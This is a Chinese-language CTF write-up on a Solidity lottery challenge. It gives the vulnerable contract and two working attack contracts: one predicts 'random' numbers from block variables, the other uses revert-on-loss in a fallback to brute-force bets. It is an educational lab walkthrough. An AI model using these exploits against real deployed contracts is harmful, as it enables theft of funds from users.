知識點
- 區塊鏈的偽亂數問題,
方法一:偽亂數攻擊
題目原始碼如下:
pragma solidity ^0.4.21;
contract ZeroLottery {
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
uint private base = 8;
address private owner;
mapping (address => uint256) public balanceOf;
function ZeroLottery() public {
owner = msg.sender;
}
function init() public payable {
balanceOf[msg.sender] = 100; //初始化,初始金額100
}
function seed(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}
function bet(uint guess) public payable {
require(msg.value>1 ether);
require(balanceOf[msg.sender] > 0);
uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);//猜錯了,扣0.5 ether.
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether); // 猜對了,1 ether換balance100
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
function paolu() public payable {
require(msg.sender == owner);
selfdestruct(owner);
}
}
題目要求:
Your goal is make your ZeroLottery’s balance > 500. After that, you can get the flag at http://192.168.201.18:5000/flag?wallet= page.
說白了就是要balance>500即可,
大致看一下代碼,是個猜數字的游戲,重點關注數字的生成:
uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
使用了block.coinbase,block.difficulty, block.gaslimit, block.timestamp來產生seed,因此區塊變數都是可以在本地算出來的,因此利用區塊變數的亂數都是偽亂數,直接攻擊即可,先init,然后在本地算出要猜的數字,然后去bet,記得deploy合約的時候給合約轉錢,至少轉5塊錢,
EXP:
pragma solidity ^0.4.21;
contract Attack {
uint private base = 8;
address owner;
address targetAddr = 0xb38b494Ac58Ab7DcA4c0593481dE4CCE58a7b734;
constructor() payable{
owner=msg.sender;
targetAddr.call(bytes4(keccak256("init()")));
//give 6 ETH,why? I like hhhhh
}
function() payable external{
}
function hack() public {
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
));
uint n = uint(keccak256(uint(this), secretSeed)) % base;
targetAddr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n);
}
function paolu() public payable {
selfdestruct(owner);
}
function init() public {
targetAddr.call(bytes4(keccak256("init()")));
}
}
還有一點需要注意就是這里:
msg.sender.transfer(msg.value - 0.5 ether);//猜錯了,扣0.5 ether.
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether); // 猜對了,1 ether換balance100
如果要求傳的錢>1 ether,而且猜完最多會退1ether,因此相當于一定會退錢回我們的攻擊合約,因此攻擊合約還要寫一個fallback函式,我一開始就是因為忘了寫,導致一直不成功,
攻擊5次即可:

方法二:回滾攻擊
利用點正是方法一中我沒有注意到的地方,就是向只能合約轉ether的時候,會呼叫它的fallback方法,我之前只知道這個可以用來重入攻擊,其實也可以回滾攻擊,
既然失敗是扣0.5 ether,成功扣 1 ether,而且會呼叫我們的fallback函式,那就在fallback函式中判斷一下退回來的錢,如果和失敗的時候回退的錢數一樣,那就拋出例外,
寫個POC即可:
pragma solidity ^0.4.21;
contract Attack {
address addr = 0x21106c363469FA680115096c2Ae757B4586C2a75;
address owner;
constructor() payable {
owner = msg.sender;
addr.call(bytes4(keccak256("init()")));
}
function() payable external {
require(msg.value ==0.2 ether );
}
function hack() public {
for(uint count=0;count<5;count++){
for(uint n=0;n<8;n++){
addr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n);
}
}
}
function kill() public {
require(owner==msg.sender);
selfdestruct(owner);
}
}
問題
對于區塊鏈中的偽亂數大致有了一定的了解,但唯一有些迷的就是block.timestamp,我一開始覺得本地不該能模擬block.timestamp的鴨,我以為就是本地計算seed時用到的block.timestamp,然后再呼叫bet函式,題目合約那邊會再計算seed,其中用到的block.timestamp應該是不一樣的鴨,但因為確實可以攻擊成功,因此這兩個block.timestamp確實是一樣的,就讓我有些疑惑,目前的猜測可能就是呼叫了hack函式然后到那邊bet出結果,實際的代碼花費的時間是極短的,因此block.timestamp相同,目前我的理解是這樣,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/275846.html
標籤:區塊鏈
